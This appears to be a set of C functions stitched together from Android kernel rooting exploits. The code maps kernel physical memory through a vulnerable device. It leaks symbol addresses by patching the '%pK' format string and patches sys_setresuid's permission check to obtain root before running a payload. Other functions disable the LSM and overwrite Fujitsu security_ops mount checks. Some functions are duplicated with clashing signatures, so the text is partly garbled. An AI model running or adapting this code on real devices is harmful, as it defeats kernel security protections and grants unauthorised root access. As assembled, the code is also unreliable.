static unsigned long int get_sys_setresuid_address_in_memory(void *kernel_memory) { if (!kallsyms_in_memory_init(kernel_memory, 0x1000000)) { return 0; } return kallsyms_in_memory_lookup_name("sys_setresuid"); }
static bool disable_lsm(void *mmap_base_address, void *user_data) { if (!kallsyms_in_memory_init(mmap_base_address, 0x1000000)) { return false; } return disable_ccs_search_binary_handler(mmap_base_address, user_data); }
static bool kallsyms_init(void) { if (!kallsyms_info) { kallsyms_info = kallsyms_in_memory_init((void *)BACKDOOR_MMAP_ADDRESS, BACKDOOR_MMAP_SIZE); if (!kallsyms_info) { return false; } } return true; }
static bool find_variables_in_memory(void *mem, size_t length) { kallsyms *info; printf("Search address in memory...\n"); info = kallsyms_in_memory_init(mem, length); if (info) { printf("Using kallsyms_in_memory...\n"); if (!prepare_kernel_cred) { prepare_kernel_cred = (prepare_kernel_cred_t)kallsyms_in_memory_lookup_name(info, "prepare_kernel_cred"); } if (!commit_creds) { commit_creds = (commit_creds_t)kallsyms_in_memory_lookup_name(info, "commit_creds"); } if (!remap_pfn_range) { remap_pfn_range = (void *)kallsyms_in_memory_lookup_name(info, "remap_pfn_range"); } if (!vmalloc_exec) { vmalloc_exec = (void *)kallsyms_in_memory_lookup_name(info, "vmalloc_exec"); } if (!ptmx_fops) { ptmx_fops = (void *)kallsyms_in_memory_lookup_name(info, "ptmx_fops"); if (!ptmx_fops) { find_ptmx_fops_address(info, mem, length); } } kallsyms_in_memory_free(info); if (has_all_essential_addresses()) { return true; } } setup_prepare_kernel_cred_address_in_memory(mem, length); setup_commit_creds_address_in_memory(mem, length); return has_all_essential_addresses(); }
bool find_variables_in_memory(void *mem, size_t length) { kallsyms *info; printf("Search address in memroy...\n"); info = kallsyms_in_memory_init(mem, length); if (info) { printf("Using kallsyms_in_memroy...\n"); if (!prepare_kernel_cred) { prepare_kernel_cred = (prepare_kernel_cred_t)kallsyms_in_memory_lookup_name(info, "prepare_kernel_cred"); } if (!commit_creds) { commit_creds = (commit_creds_t)kallsyms_in_memory_lookup_name(info, "commit_creds"); } if (!ptmx_fops) { ptmx_fops = (void *)kallsyms_in_memory_lookup_name(info, "ptmx_fops"); if (!ptmx_fops) { find_ptmx_fops_address(info, mem, length); } } //FIXME: do not free to avoid crash with fb_mem exploit //kallsyms_in_memory_free(info); if (prepare_kernel_cred && commit_creds && ptmx_fops) { return true; } } setup_prepare_kernel_cred_address_in_memory(mem, length); setup_commit_creds_address_in_memory(mem, length); return prepare_kernel_cred && commit_creds && ptmx_fops; }
int exec_exploit(struct exploit *exp, int args, char **cmd) { FILE *f; int fd, ret, m, length, index; char line[512]; char *str = NULL; char *ptr = NULL; unsigned long *paddr = NULL; unsigned long *tmp = NULL; unsigned long *restore_ptr_setresuid = NULL; unsigned long addr_sym = 0; unsigned long tmp2 = 0; unsigned long start_offset = 0; unsigned long *new_offset = NULL; bool found = false; struct restore_fmt r_fmt = { NULL, 0}; struct stat device_info; // Check if the vulnerable device exists if(stat(exp->dev, &device_info) < 0) { cleanup(exp); return 0; } // Exec pre_init function if defined if(exp->pre_init != NULL) { if(!exp->pre_init(exp)) { cleanup(exp); return 0; } } fd = open(exp->dev, O_RDWR); if(fd < 0) { cleanup(exp); return 0; } exp->fd = fd; // Exec init function ret = exp->init(exp); if(!ret) { cleanup(exp); return 0; } length = exp->length; start_offset = exp->start_offset; /* Map the required kernel physical memory */ paddr = (unsigned long *)mmap(NULL, length, PROT_READ | PROT_WRITE, MAP_SHARED, exp->fd, exp->offset); new_offset = paddr; if(start_offset) new_offset = (unsigned long *) ( ((unsigned long) new_offset) + (start_offset << 2)); tmp = new_offset; if (paddr == MAP_FAILED) { cleanup(exp); return 0; } f = fopen("/proc/kallsyms", "r"); if(!f) { cleanup(exp); return 0; } memset(line, 0, sizeof(line)); if(!(fgets(line, sizeof(line), f))) { cleanup(exp); return 0; } str = strtok(line, " "); // Check if it is already possible to read kernel symbols from kallsyms if(!strtoul(str, NULL, 16)) { if((exp->length - 12) == 0) { cleanup(exp); return 0; } // Use libkallsyms first if(kallsyms_in_memory_init(tmp, exp->length)) addr_sym = (unsigned long) kallsyms_in_memory_lookup_name("sys_setresuid"); // If libkallsyms failed try a second method if(!addr_sym) { /* * search the format string "%pK %c %s\n" in memory * and replace "%pK" by "%p" to force display kernel * symbols pointer */ for(m = 0; m < (length - 12); m += 4) { if(*(unsigned int *)tmp == 0x204b7025 && *(unsigned long *)(tmp+1) == 0x25206325 && ((*(unsigned long *)(tmp+2)) & 0x0000ffff) == 0x00000a73) { r_fmt.ptr_fmt = (unsigned long *)tmp; r_fmt.ptr_fmt_value = *(unsigned long *)tmp; *(unsigned long*)tmp = 0x20207025; found = true; break; } else if( ((*(unsigned int *)tmp) & 0x0000ffff) == 0x00007025 && *(unsigned long *)(tmp+1) == 0x6325204b && *(unsigned long *)(tmp+2) == 0x0a732520) { r_fmt.ptr_fmt = (unsigned long *)(tmp+1); r_fmt.ptr_fmt_value = *(unsigned long *)(tmp+1); *(unsigned long*)(tmp+1) = 0x63252020; found = true; break; } else if(((*(tmp) & 0x00ffffff) == 0x4b7025) && *(unsigned long *)(tmp+1) == 0x20632520 && ((*((unsigned long *)(tmp+2))) & 0x00ffffff) == 0x000a7325) { r_fmt.ptr_fmt = (unsigned long *)tmp; r_fmt.ptr_fmt_value = *(unsigned long *)tmp; *(unsigned long*)tmp = (*(tmp)) & 0xff20ffff; found = true; break; } else tmp++; } if (found == false) { cleanup(exp); return 0; } fclose(f); // Now we should be able to read /proc/kallsyms addr_sym = (unsigned long) kallsyms_get_symbol_address("sys_setresuid"); } } // If kallsysms is already mapped use it else addr_sym = (unsigned long) kallsyms_get_symbol_address("sys_setresuid"); if(!addr_sym) { cleanup(exp); return 0; } if(addr_sym) { tmp2 = (unsigned long) (MEMORY_OFFSET + addr_sym) >> 2; tmp2 = tmp2 << 2; tmp2 += (unsigned long) new_offset; tmp = (unsigned long *)tmp2; for(m = 0; m < 128; m += 4) { // Search the cmp $r0, 0 check in the mapped sys_setresuid function if (*(unsigned long *)tmp == 0xe3500000) { // Patch with a cmp $r0, 1 instraction restore_ptr_setresuid = tmp; *(unsigned long *)tmp = 0xe3500001; break; } tmp++; } } // Finalize if(!exp->finalize(exp)) { cleanup(exp); return 0; } /* ask for root */ ret = setresuid(0, 0, 0); if(ret) { cleanup(exp); return 0; } // If everything was ok we are root now exec_payload(args, cmd); /* restore memory */ if(r_fmt.ptr_fmt != NULL) *r_fmt.ptr_fmt = r_fmt.ptr_fmt_value; if(restore_ptr_setresuid != NULL) *(unsigned long *)restore_ptr_setresuid = 0xe3500000; msync(paddr, length, 4); munmap(paddr, length); close(fd); if(exp->fd2) close(exp->fd2); return 1; }
static bool detect_mmc_protect(void) { typedef struct { mmc_protect_part_type_t type; const struct mmc_protect_inf *inf; int num; } check_t; check_t check[] = { { MMC_PROTECT_PART_TYPE1, check_mmc_protect_part_type1, n_mmc_protect_part_type1 }, { MMC_PROTECT_PART_TYPE2, check_mmc_protect_part_type2, n_mmc_protect_part_type2 }, { MMC_PROTECT_PART_TYPE3, check_mmc_protect_part_type3, n_mmc_protect_part_type3 }, }; kallsyms *info; unsigned long int addr; const struct mmc_protect_inf *p; bool ret = false; int i; info = kallsyms_in_memory_init((void *)BACKDOOR_MMAP_ADDRESS, BACKDOOR_MMAP_SIZE); if (info == NULL) { printf("kallsyms_in_memory_init(): failed\n"); return false; } addr = kallsyms_in_memory_lookup_name(info, "mmc_protect_part"); if (!addr) { goto error_exit; } printf("Found: mmc_protect_part = 0x%08x\n", addr); p = backdoor_convert_to_mmaped_address((void *)addr); if (p[0].partition == 0) { p++; } for (i = 0; i < ARRAY_SIZE(check); i++) { int n; for (n = 0; n < check[i].num; n++) { if (p[n].partition != check[i].inf[n].partition) { break; } if (p[n].protect & ~(MMC_PROTECT_READ | MMC_PROTECT_WRITE)) { break; } } if (n == check[i].num) { printf("Detect partition type: %d\n", check[i].type); for (n = 0; n < check[i].num; n++) { printf("#%d: partiton %2d: protect %d\n", n, p[n].partition, p[n].protect); } device_set_symbol_address(DEVICE_SYMBOL(mmc_protect_part), addr); device_set_symbol_address(DEVICE_SYMBOL(mmc_protect.part_type), check[i].type); ret = true; break; } } error_exit: kallsyms_in_memory_free(info); return ret; }
bool unlock_mount(void) { unsigned long int *security_ops; unsigned long int fix_func; unsigned long int check_mount_func; unsigned long int check_umount_func; kallsyms *info; int count = 0; int i; security_ops = get_fjsec_security_ops(); if (security_ops == NULL) { printf("security_ops: not found\n"); return false; } printf("security_ops = %p\n", security_ops); security_ops = backdoor_convert_to_mmaped_address(security_ops); info = kallsyms_in_memory_init((void *)BACKDOOR_MMAP_ADDRESS, BACKDOOR_MMAP_SIZE); if (info == NULL) { printf("kallsyms_in_memory_init(): failed\n"); return false; } fix_func = kallsyms_in_memory_lookup_name(info, DEFAULT_CAP_FUNCTION); if (!fix_func) { printf("fix_func <%s>: not found\n", DEFAULT_CAP_FUNCTION); return false; } check_mount_func = kallsyms_in_memory_lookup_name(info, CHECK_MOUNT_FUNCTION); if (!check_mount_func) { printf("check_mount_func <%s>: not found\n", CHECK_MOUNT_FUNCTION); } check_umount_func = kallsyms_in_memory_lookup_name(info, CHECK_UMOUNT_FUNCTION); if (!check_umount_func) { printf("check_umount_func <%s>: not found\n", CHECK_UMOUNT_FUNCTION); } for (i = SECURITY_OPS_OFFSET; i < SECURITY_OPS_OFFSET + NUM_SECURITY_OPS; i++) { if (security_ops[i]) { const char *name = kallsyms_in_memory_lookup_address(info, security_ops[i]); if (!name) { break; } if ((check_mount_func && security_ops[i] == check_mount_func) || (check_umount_func && security_ops[i] == check_umount_func)) { security_ops[i] = (unsigned long int)fix_func; count++; } } } printf(" %d functions are fixed.\n", count); kallsyms_in_memory_free(info); return count > 0; }